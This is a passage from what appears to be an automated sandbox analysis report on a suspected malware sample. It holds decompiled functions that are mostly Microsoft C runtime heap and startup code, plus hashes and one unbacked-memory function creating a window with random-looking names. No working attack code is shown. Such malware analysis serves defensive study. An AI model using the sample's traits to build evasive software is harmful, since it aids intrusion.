						 *0x54ac1c = _t170;
					} else {
						if(E0041CB70() == 0) {
							_push(L"_CrtCheckMemory()");
							_push(0);
							_push(0x179);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
							_push(2);
							_t115 = L0041E210();
							_t178 = _t178 + 0x14;
							if(_t115 == 1) {
								asm("int3");
							}
						}
						 *0x54ac1c = 0;
					}
				}
				_t79 =  *0x44020c; // 0x34
				 *(_t175 - 0x28) = _t79;
				if( *0x440210 != 0xffffffff) {
					_t192 =  *(_t175 - 0x28) -  *0x440210; // 0xffffffff
					if(_t192 == 0) {
						asm("int3");
					}
				}
				if( *0x44105c == 0) {
					L19:
					__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
					if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
						_t105 =  *0x440204; // 0x1
						__eflags = _t105 & 0x00000001;
						if((_t105 & 0x00000001) == 0) {
							 *(_t175 - 0x1c) = 1;
						}
					}
					__eflags =  *((intOrPtr*)(_t175 + 8)) - 0xffffffbc;
					if( *((intOrPtr*)(_t175 + 8)) <= 0xffffffbc) {
						__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 4;
						if(( *(_t175 + 0xc) & 0x0000ffff) != 4) {
							__eflags =  *(_t175 + 0xc) - 1;
							if( *(_t175 + 0xc) != 1) {
								__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
								if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
									__eflags =  *(_t175 + 0xc) - 3;
									if( *(_t175 + 0xc) != 3) {
										_t102 = L00429570(1, 0, 0, 0, "%s", "Error: memory allocation: bad memory block type.\n");
										_t178 = _t178 + 0x18;
										__eflags = _t102 - 1;
										if(_t102 == 1) {
											asm("int3");
										}
									}
								}
							}
						}
						 *((intOrPtr*)(_t175 - 0x2c)) =  *((intOrPtr*)(_t175 + 8)) + 0x24;
						_t80 = E004294B0(_t116, _t171, _t173,  *((intOrPtr*)(_t175 - 0x2c))); // executed
						 *(_t175 - 0x24) = _t80;
						__eflags =  *(_t175 - 0x24);
						if( *(_t175 - 0x24) != 0) {
							_t122 =  *0x44020c; // 0x34
							_t123 = _t122 + 1;
							 *0x44020c = _t123;
							__eflags =  *(_t175 - 0x1c);
							if( *(_t175 - 0x1c) == 0) {
								__eflags = (_t123 | 0xffffffff) -  *0x54ac14 -  *((intOrPtr*)(_t175 + 8));
								if((_t123 | 0xffffffff) -  *0x54ac14 <=  *((intOrPtr*)(_t175 + 8))) {
									 *0x54ac14 = 0xffffffff;
								} else {
									_t159 =  *0x54ac14; // 0x3852
									 *0x54ac14 = _t159 +  *((intOrPtr*)(_t175 + 8));
								}
								_t81 =  *0x54ac2c; // 0x1fca
								 *0x54ac2c = _t81 +  *((intOrPtr*)(_t175 + 8));
								_t126 =  *0x54ac2c; // 0x1fca
								__eflags = _t126 -  *0x54ac20; // 0x238a
								if(__eflags > 0) {
									_t158 =  *0x54ac2c; // 0x1fca
									 *0x54ac20 = _t158;
								}
								__eflags =  *0x54ac24;
								if( *0x54ac24 == 0) {
									 *0x54ac18 =  *(_t175 - 0x24);
								} else {
									_t97 =  *0x54ac24; // 0x2331318
									 *(_t97 + 4) =  *(_t175 - 0x24);
								}
								_t127 =  *0x54ac24; // 0x2331318
								 *( *(_t175 - 0x24)) = _t127;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) =  *(_t175 + 0x10);
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) =  *((intOrPtr*)(_t175 + 0x14));
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) =  *(_t175 + 0xc);
								 *( *(_t175 - 0x24) + 0x18) =  *(_t175 - 0x28);
								 *0x54ac24 =  *(_t175 - 0x24);
							} else {
								 *( *(_t175 - 0x24)) = 0;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) = 0;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) = 0xfedcbabc;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) = 3;
								 *( *(_t175 - 0x24) + 0x18) = 0;
							}
							E0041B3A0(_t171,  *(_t175 - 0x24) + 0x1c,  *0x440214 & 0x000000ff, 4);
							E0041B3A0(_t171,  *(_t175 - 0x24) +  *((intOrPtr*)(_t175 + 8)) + 0x20,  *0x440214 & 0x000000ff, 4);
							E0041B3A0(_t171,  *(_t175 - 0x24) + 0x20,  *0x440217 & 0x000000ff,  *((intOrPtr*)(_t175 + 8)));
							_t157 =  *(_t175 - 0x24) + 0x20;
							__eflags = _t157;
							 *(_t175 - 0x20) = _t157;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
						}
					} else {
						_t103 = L00429570(1, 0, 0, 0, "Invalid allocation size: %Iu bytes.\n",  *((intOrPtr*)(_t175 + 8)));
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
					}
					L46:
					 *(_t175 - 4) = 0xfffffffe;
					E0041BBE0();
					 *[fs:0x0] =  *((intOrPtr*)(_t175 - 0x10));
					return  *(_t175 - 0x20);
				}
				_t109 =  *0x44105c(1, 0,  *((intOrPtr*)(_t175 + 8)),  *(_t175 + 0xc),  *(_t175 - 0x28),  *(_t175 + 0x10),  *((intOrPtr*)(_t175 + 0x14)));
				_t178 = _t178 + 0x1c;
				if(_t109 != 0) {
					goto L19;
				}
				if( *(_t175 + 0x10) == 0) {
					_t110 = L00429570(0, 0, 0, 0, "%s", "Client hook allocation failure.\n");
					__eflags = _t110 - 1;
					if(_t110 == 1) {
						asm("int3");
					}
					L18:
					goto L46;
				}
				_push( *((intOrPtr*)(_t175 + 0x14)));
				if(L00429570(0, 0, 0, 0, "Client hook allocation failure at file %hs line %d.\n",  *(_t175 + 0x10)) == 1) {
					asm("int3");
				}
				goto L18;
			}

0x0041b897
0x0041b89a
0x0041b8a8
0x0041b8aa
0x0041b8b2
0x0041b8b8
0x0041b8f0
0x0041b8f6
0x0041b8f6
0x0041b8f9
0x0041b8ba
0x0041b8c1
0x0041b8c3
0x0041b8c8
0x0041b8ca
0x0041b8cf
0x0041b8d4
0x0041b8d6
0x0041b8db
0x0041b8e1
0x0041b8e3
0x0041b8e3
0x0041b8e1
0x0041b8e4
0x0041b8e4
0x0041b8b8
0x0041b8ff
0x0041b904
0x0041b90e
0x0041b913
0x0041b919
0x0041b91b
0x0041b91b
0x0041b919
0x0041b923
0x0041b99a
0x0041b9a3
0x0041b9a6
0x0041b9a8
0x0041b9ad
0x0041b9b0
0x0041b9b2
0x0041b9b2
0x0041b9b0
0x0041b9b9
0x0041b9bd
0x0041b9f5
0x0041b9f8
0x0041b9fa
0x0041b9fe
0x0041ba09
0x0041ba0c
0x0041ba0e
0x0041ba12
0x0041ba26
0x0041ba2b
0x0041ba2e
0x0041ba31
0x0041ba33
0x0041ba33
0x0041ba31
0x0041ba12
0x0041ba0c
0x0041b9fe
0x0041ba3a
0x0041ba41
0x0041ba49
0x0041ba4c
0x0041ba50
0x0041ba60
0x0041ba66
0x0041ba69
0x0041ba6f
0x0041ba73
0x0041bac7
0x0041baca
0x0041badd
0x0041bacc
0x0041bacc
0x0041bad5
0x0041bad5
0x0041bae7
0x0041baef
0x0041baf4
0x0041bafa
0x0041bb00
0x0041bb02
0x0041bb08
0x0041bb08
0x0041bb0e
0x0041bb15
0x0041bb27
0x0041bb17
0x0041bb17
0x0041bb1f
0x0041bb1f
0x0041bb30
0x0041bb36
0x0041bb3b
0x0041bb48
0x0041bb51
0x0041bb5a
0x0041bb63
0x0041bb6c
0x0041bb72
0x0041ba75
0x0041ba78
0x0041ba81
0x0041ba8b
0x0041ba95
0x0041baa2
0x0041baa8
0x0041bab2
0x0041bab2
0x0041bb89
0x0041bba6
0x0041bbc1
0x0041bbcc
0x0041bbcc
0x0041bbcf
0x0041ba52
0x0041ba55
0x0041ba55
0x0041b9bf
0x0041b9d0
0x0041b9d8
0x0041b9db
0x0041b9dd
0x0041b9dd
0x0041b9e1
0x0041b9e1
0x0041bbd2
0x0041bbd2
0x0041bbd9
0x0041bbf1
0x0041bbff
0x0041bbff
0x0041b93d
0x0041b943
0x0041b948
0x00000000
0x00000000
0x0041b94e
0x0041b987
0x0041b98f
0x0041b992
0x0041b994
0x0041b994
0x0041b995
0x00000000
0x0041b995
0x0041b953
0x0041b970
0x0041b972
0x0041b972
0x00000000

APIs

__CrtCheckMemory.LIBCMTD ref: 0041B8BA
__heap_alloc_base.LIBCMTD ref: 0041BA41
_memset.LIBCMT ref: 0041BB89
_memset.LIBCMT ref: 0041BBA6
_memset.LIBCMT ref: 0041BBC1

Strings

Client hook allocation failure., xrefs: 0041B975
Error: memory allocation: bad memory block type., xrefs: 0041BA14
Invalid allocation size: %Iu bytes., xrefs: 0041B9C3
_CrtCheckMemory(), xrefs: 0041B8C3
Client hook allocation failure at file %hs line %d., xrefs: 0041B958
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041B8CF

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Error: memory allocation: bad memory block type.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4254127243-2462871736
Opcode ID: 09976bc2a7c0688b02347d7f9d261269ff2797cf4bfe581a336ac322e2895a2b
Instruction ID: 97e86d4c15fc9701c19a5e0bd926d724089cdacba89656b77c427f3b265e9813
Opcode Fuzzy Hash: 09976bc2a7c0688b02347d7f9d261269ff2797cf4bfe581a336ac322e2895a2b
Instruction Fuzzy Hash: 55A1BEB8A002089BDB14CF54DA85BEA77F0FB49304F20815AEA146B3D1D779AD81CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041B535, Relevance: 15.1, APIs: 10, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E0041B535() {
				void* _t21;
				void* _t22;
				void* _t25;
				intOrPtr _t27;
				void* _t29;
				intOrPtr _t30;
				intOrPtr _t34;
				void* _t44;
				void* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t74;

				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				 *((intOrPtr*)(_t58 - 0x6c)) = E0041B6D0();
				_t21 = E00428FC0(_t46, 1); // executed
				_t61 = _t60 + 4;
				if(_t21 == 0) {
					E0041B6A0(0x1c);
					_t61 = _t61 + 4; // executed
				}
				_t22 = L00424650(_t46); // executed
				if(_t22 == 0) {
					E0041B6A0(0x10);
					_t61 = _t61 + 4;
				}
				_push(1);
				E0041D9A0(_t46);
				_t62 = _t61 + 4;
				E00428F40();
				 *((intOrPtr*)(_t58 - 4)) = 1;
				_t25 = E00426A10(); // executed
				if(_t25 < 0) {
					L00425F50(_t44, _t46, _t54, _t56, 0x1b);
					_t62 = _t62 + 4;
				}
				 *0x54c984 = E00428F30(); // executed
				_t27 = E00428E80(_t44, _t54, _t56); // executed
				 *0x54ac0c = _t27;
				if(E00428A90() < 0) {
					L00425F50(_t44, _t46, _t54, _t56, 8);
					_t62 = _t62 + 4; // executed
				}
				_t29 = E004288F0(_t44, _t54, _t56); // executed
				if(_t29 < 0) {
					L00425F50(_t44, _t46, _t54, _t56, 9);
					_t62 = _t62 + 4;
				}
				_t30 = E00425E30(_t46, 1); // executed
				 *((intOrPtr*)(_t58 - 0x64)) = _t30;
				if( *((intOrPtr*)(_t58 - 0x64)) != 0) {
					L00425F50(_t44,  *((intOrPtr*)(_t58 - 0x64)), _t54, _t56,  *((intOrPtr*)(_t58 - 0x64)));
				}
				 *((intOrPtr*)(_t58 - 0x68)) = E00428850();
				if(( *(_t58 - 0x34) & 0x00000001) == 0) {
					 *(_t58 - 0x7c) = 0xa;
				} else {
					 *(_t58 - 0x7c) =  *(_t58 - 0x30) & 0x0000ffff;
				}
				 *((intOrPtr*)(_t58 - 0x70)) = E00419D72( *((intOrPtr*)(_t58 - 0x68)), _t74, 0x400000, 0,  *((intOrPtr*)(_t58 - 0x68)),  *(_t58 - 0x7c));
				if( *((intOrPtr*)(_t58 - 0x6c)) == 0) {
					E00425ED0( *((intOrPtr*)(_t58 - 0x70)));
				}
				E00425F10();
				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				_t34 =  *((intOrPtr*)(_t58 - 0x70));
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0x10));
				return _t34;
			}

0x0041b535
0x0041b541
0x0041b546
0x0041b54b
0x0041b550
0x0041b554
0x0041b559
0x0041b559
0x0041b55c
0x0041b563
0x0041b567
0x0041b56c
0x0041b56c
0x0041b56f
0x0041b571
0x0041b576
0x0041b579
0x0041b57e
0x0041b585
0x0041b58c
0x0041b590
0x0041b595
0x0041b595
0x0041b59d
0x0041b5a2
0x0041b5a7
0x0041b5b3
0x0041b5b7
0x0041b5bc
0x0041b5bc
0x0041b5bf
0x0041b5c6
0x0041b5ca
0x0041b5cf
0x0041b5cf
0x0041b5d4
0x0041b5dc
0x0041b5e3
0x0041b5e9
0x0041b5ee
0x0041b5f6
0x0041b5ff
0x0041b60a
0x0041b601
0x0041b605
0x0041b605
0x0041b625
0x0041b62c
0x0041b632
0x0041b632
0x0041b637
0x0041b63c
0x0041b684
0x0041b68a
0x0041b698

APIs

_check_managed_app.LIBCMTD ref: 0041B53C
__heap_init.LIBCMTD ref: 0041B546

Part of subcall function 00428FC0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B54B,00000001), ref: 00428FD6

_fast_error_exit.LIBCMTD ref: 0041B554

Part of subcall function 0041B6A0: ___crtExitProcess.LIBCMTD ref: 0041B6C4

_fast_error_exit.LIBCMTD ref: 0041B567
__RTC_Initialize.LIBCMTD ref: 0041B579
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B5A2
___wsetargv.LIBCMTD ref: 0041B5AC
__wsetenvp.LIBCMTD ref: 0041B5BF
__cinit.LIBCMTD ref: 0041B5D4
__wwincmdln.LIBCMTD ref: 0041B5F1

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3184702096-0
Opcode ID: 651d63ab9973b403a713adfff70d9f506dfd8562335215f420a554f0e3a8468f
Instruction ID: ad84e5da09afad5bcada61e98fbdce0fbaea4326bd0c418b6cf8b2aa8bb23fee
Opcode Fuzzy Hash: 651d63ab9973b403a713adfff70d9f506dfd8562335215f420a554f0e3a8468f
Instruction Fuzzy Hash: 8831B5B1E013149AEB00BBF2B9027EE7260EF5434CF91412FF50967282EB7D95408B9B

Uniqueness

Uniqueness Score: -1.00%

Function 00426A10, Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00426A10() {
				void* _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				struct _STARTUPINFOA _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				int _v116;
				signed char* _v120;
				void* _v124;
				void** _v128;
				void** _v132;
				int _v140;
				long _v144;
				signed int _t166;
				signed int _t170;
				signed int _t175;
				signed int _t188;
				signed int _t206;
				void** _t209;
				signed int _t321;
				void* _t322;
				intOrPtr _t323;
				void* _t324;

				_push(0xfffffffe);
				_push(0x43dd70);
				_push(E0041E680);
				_push( *[fs:0x0]);
				_t323 = _t322 + 0xffffff84;
				_t166 =  *0x440354; // 0xa5248312
				_v12 = _v12 ^ _t166;
				_push(_t166 ^ _t321);
				 *[fs:0x0] =  &_v20;
				_v28 = _t323;
				_v8 = 0;
				GetStartupInfoA( &_v100);
				_v8 = 0xfffffffe;
				_t170 = L0041BCD0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0x88); // executed
				_t324 = _t323 + 0x14;
				_v128 = _t170;
				if(_v128 != 0) {
					 *0x54b840 = _v128;
					 *0x54b83c = 0x20;
					while(_v128 <  *0x54b840 + 0x800) {
						_v128[1] = 0;
						 *_v128 = 0xffffffff;
						_v128[1] = 0xa;
						_v128[2] = 0;
						_v128[9] = _v128[9] & 0x00000080;
						_v128[9] = _v128[9] & 0x0000007f;
						_v128[9] = 0xa;
						_v128[9] = 0xa;
						_v128[0xe] = 0;
						_v128[0xd] = 0;
						_v128 =  &(_v128[0x10]);
					}
					if((_v100.cbReserved2 & 0x0000ffff) == 0 || _v100.lpReserved2 == 0) {
						L34:
						_v112 = 0;
						while(_v112 < 3) {
							_v128 = (_v112 << 6) +  *0x54b840;
							if( *_v128 == 0xffffffff ||  *_v128 == 0xfffffffe) {
								_v128[1] = 0x81;
								if(_v112 != 0) {
									asm("sbb edx, edx");
									_v144 =  ~(_v112 - 1) + 0xfffffff5;
								} else {
									_v144 = 0xfffffff6;
								}
								_v124 = GetStdHandle(_v144);
								if(_v124 == 0xffffffff || _v124 == 0) {
									L52:
									_v128[1] = _v128[1] | 0x00000040;
									 *_v128 = 0xfffffffe;
									goto L53;
								} else {
									_v108 = GetFileType(_v124);
									if(_v108 == 0) {
										goto L52;
									} else {
										 *_v128 = _v124;
										if((_v108 & 0x000000ff) != 2) {
											if((_v108 & 0x000000ff) == 3) {
												_v128[1] = _v128[1] | 0x00000008;
											}
										} else {
											_v128[1] = _v128[1] | 0x00000040;
										}
										_t188 = E0042C190( &(_v128[3]), 0xfa0);
										_t324 = _t324 + 8;
										if(_t188 != 0) {
											_v128[2] = _v128[2] + 1;
											L53:
											goto L55;
										} else {
											_t175 = _t188 | 0xffffffff;
										}
									}
								}
							} else {
								_v128[1] = _v128[1] | 0x00000080;
								L55:
								_v112 = _v112 + 1;
								continue;
							}
							goto L57;
						}
						SetHandleCount( *0x54b83c);
						_t175 = 0;
					} else {
						_v116 =  *(_v100.lpReserved2);
						_v120 = _v100.lpReserved2 + 4;
						_v132 =  &(_v120[_v116]);
						if(_v116 >= 0x800) {
							_v140 = 0x800;
						} else {
							_v140 = _v116;
						}
						_v116 = _v140;
						_v104 = 1;
						while( *0x54b83c < _v116) {
							_t209 = L0041BCD0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0xc0);
							_t324 = _t324 + 0x14;
							_v128 = _t209;
							if(_v128 != 0) {
								 *((intOrPtr*)(0x54b840 + _v104 * 4)) = _v128;
								 *0x54b83c =  *0x54b83c + 0x20;
								while(_v128 <  *((intOrPtr*)(0x54b840 + _v104 * 4)) + 0x800) {
									_v128[1] = 0;
									 *_v128 = 0xffffffff;
									_v128[1] = 0xa;
									_v128[2] = 0;
									_v128[9] = _v128[9] & 0x00000080;
									_v128[9] = 0xa;
									_v128[9] = 0xa;
									_v128[0xe] = 0;
									_v128[0xd] = 0;
									_v128 =  &(_v128[0x10]);
								}
								_v104 = _v104 + 1;
								continue;
							} else {
								_v116 =  *0x54b83c;
							}
							break;
						}
						_v112 = 0;
						while(_v112 < _v116) {
							if( *_v132 == 0xffffffff ||  *_v132 == 0xfffffffe || ( *_v120 & 0x00000001) == 0 || ( *_v120 & 0x00000008) == 0 && GetFileType( *_v132) == 0) {
								L33:
								_v112 = _v112 + 1;
								_v120 =  &(_v120[1]);
								_v132 =  &(_v132[1]);
								continue;
							} else {
								_v128 = ((_v112 & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + (_v112 >> 5) * 4));
								 *_v128 =  *_v132;
								_v128[1] =  *_v120;
								_t206 = E0042C190( &(_v128[3]), 0xfa0);
								_t324 = _t324 + 8;
								if(_t206 != 0) {
									_v128[2] =  *((intOrPtr*)(_v128 + 8)) + 1;
									goto L33;
								} else {
									_t175 = _t206 | 0xffffffff;
								}
							}
							goto L57;
						}
						goto L34;
					}
				} else {
					_t175 = _t170 | 0xffffffff;
				}
				L57:
				 *[fs:0x0] = _v20;
				return _t175;
			}

0x00426a15
0x00426a17
0x00426a1c
0x00426a27
0x00426a28
0x00426a2e
0x00426a33
0x00426a38
0x00426a3c
0x00426a42
0x00426a45
0x00426a50
0x00426a56
0x00426a9b
0x00426aa0
0x00426aa3
0x00426aaa
0x00426ab7
0x00426abd
0x00426ad2
0x00426ae4
0x00426aeb
0x00426af4
0x00426afb
0x00426b0d
0x00426b1b
0x00426b21
0x00426b28
0x00426b2f
0x00426b39
0x00426acf
0x00426acf
0x00426b45
0x00426d43
0x00426d43
0x00426d55
0x00426d6b
0x00426d74
0x00426d85
0x00426d8d
0x00426da3
0x00426da8
0x00426d8f
0x00426d8f
0x00426d8f
0x00426dbb
0x00426dc2
0x00426e59
0x00426e66
0x00426e6c
0x00000000
0x00426dd2
0x00426ddc
0x00426de3
0x00000000
0x00426de5
0x00426deb
0x00426df9
0x00426e19
0x00426e28
0x00426e28
0x00426dfb
0x00426e08
0x00426e08
0x00426e37
0x00426e3c
0x00426e41
0x00426e54
0x00426e72
0x00000000
0x00426e43
0x00426e43
0x00426e43
0x00426e41
0x00426de3
0x00426e74
0x00426e83
0x00426e86
0x00426d52
0x00000000
0x00426d52
0x00000000
0x00426d74
0x00426e92
0x00426e98
0x00426b55
0x00426b5a
0x00426b63
0x00426b6c
0x00426b76
0x00426b83
0x00426b78
0x00426b7b
0x00426b7b
0x00426b93
0x00426b96
0x00426ba8
0x00426bc7
0x00426bcc
0x00426bcf
0x00426bd6
0x00426beb
0x00426bfa
0x00426c0a
0x00426c21
0x00426c28
0x00426c31
0x00426c38
0x00426c4a
0x00426c50
0x00426c57
0x00426c5e
0x00426c68
0x00426c07
0x00426c07
0x00426ba5
0x00000000
0x00426bd8
0x00426bdd
0x00426bdd
0x00000000
0x00426bd6
0x00426c73
0x00426c97
0x00426ca9
0x00426d3e
0x00426c82
0x00426c8b
0x00426c94
0x00000000
0x00426ce1
0x00426cf7
0x00426d02
0x00426d0c
0x00426d1b
0x00426d20
0x00426d25
0x00426d3b
0x00000000
0x00426d27
0x00426d27
0x00426d27
0x00426d25
0x00000000
0x00426ca9
0x00000000
0x00426c97
0x00426aac
0x00426aac
0x00426aac
0x00426e9a
0x00426e9d
0x00426eab

APIs

GetStartupInfoA.KERNEL32(?), ref: 00426A50
GetFileType.KERNEL32(?), ref: 00426CD7

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c, xrefs: 00426A90, 00426BBC

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: FileInfoStartupType
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
API String ID: 3016745765-4097262939
Opcode ID: d9f79cf5b1c0ef0332f2737205f50489c86d3cb1c81fef03858374cab6bf42b3
Instruction ID: 6595cd3c19ad1e276707fa77b262b75fd950d4f4d9b7d513ffe6a860c93b74c5
Opcode Fuzzy Hash: d9f79cf5b1c0ef0332f2737205f50489c86d3cb1c81fef03858374cab6bf42b3
Instruction Fuzzy Hash: 0EE14874E04258CFDB20CFA8D894BADFBB1BB49318F65825ED8256B392C7349842CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00570420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00570533

Strings

0, xrefs: 00570492
mfoaskdfnoa, xrefs: 00570520, 00570523
d, xrefs: 00570584
saodkfnosa9uin, xrefs: 005704DA

Memory Dump Source

Source File: 00000000.00000002.667624367.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_ECD2MpEBSf.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: afcc24ee26740f915b68ef4632c6671afe8dec894add327fb0abb1c8be4792a8
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: B2510970D08388DAEB11CB98D849BDDBFF26F11708F144058D5486F2C6C3BA5658CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041BC0E, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E0041BC0E(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t25;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t34;
				void* _t35;
				void* _t36;
				intOrPtr _t38;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t50;

				_t47 = __esi;
				_t46 = __edi;
				_t36 = __ecx;
				_t35 = __ebx;
				asm("sbb eax, eax");
				_t25 = 0xffffffe0 /  *(_t48 + 8) + 1;
				 *((intOrPtr*)(_t48 - 8)) = _t25;
				if(_t25 == 0) {
					_push(L"(_HEAP_MAXREQ / nNum) >= nSize");
					_push(0);
					_push(0x248);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
					_push(2);
					_t34 = L0041E210();
					_t50 = _t50 + 0x14;
					if(_t34 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t48 - 8)) != 0) {
					 *(_t48 + 0xc) =  *(_t48 + 0xc) *  *(_t48 + 8);
					_t38 =  *0x54adb0; // 0x0
					_t28 = L0041B7E0(_t38,  *(_t48 + 0xc), _t38,  *((intOrPtr*)(_t48 + 0x10)),  *((intOrPtr*)(_t48 + 0x14)),  *((intOrPtr*)(_t48 + 0x18)),  *((intOrPtr*)(_t48 + 0x1c))); // executed
					 *((intOrPtr*)(_t48 - 4)) = _t28;
					if( *((intOrPtr*)(_t48 - 4)) != 0) {
						E0041B3A0(_t46,  *((intOrPtr*)(_t48 - 4)), 0,  *(_t48 + 0xc));
					}
					_t29 =  *((intOrPtr*)(_t48 - 4));
				} else {
					 *((intOrPtr*)(L00422D00(_t36))) = 0xc;
					E00422A90(_t35, _t36, _t46, _t47, L"(_HEAP_MAXREQ / nNum) >= nSize", L"_calloc_dbg_impl", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x248, 0);
					_t29 = 0;
				}
				return _t29;
			}

0x0041bc0e
0x0041bc0e
0x0041bc0e
0x0041bc0e
0x0041bc1b
0x0041bc1d
0x0041bc20
0x0041bc23
0x0041bc25
0x0041bc2a
0x0041bc2c
0x0041bc31
0x0041bc36
0x0041bc38
0x0041bc3d
0x0041bc43
0x0041bc45
0x0041bc45
0x0041bc43
0x0041bc4a
0x0041bc80
0x0041bc93
0x0041bc9e
0x0041bca6
0x0041bcad
0x0041bcb9
0x0041bcbe
0x0041bcc1
0x0041bc4c
0x0041bc51
0x0041bc6d
0x0041bc75
0x0041bc75
0x0041bcc7

APIs

__invalid_parameter.LIBCMTD ref: 0041BC6D
_memset.LIBCMT ref: 0041BCB9

Strings

(_HEAP_MAXREQ / nNum) >= nSize, xrefs: 0041BC25, 0041BC68
_calloc_dbg_impl, xrefs: 0041BC63
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041BC31, 0041BC5E

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
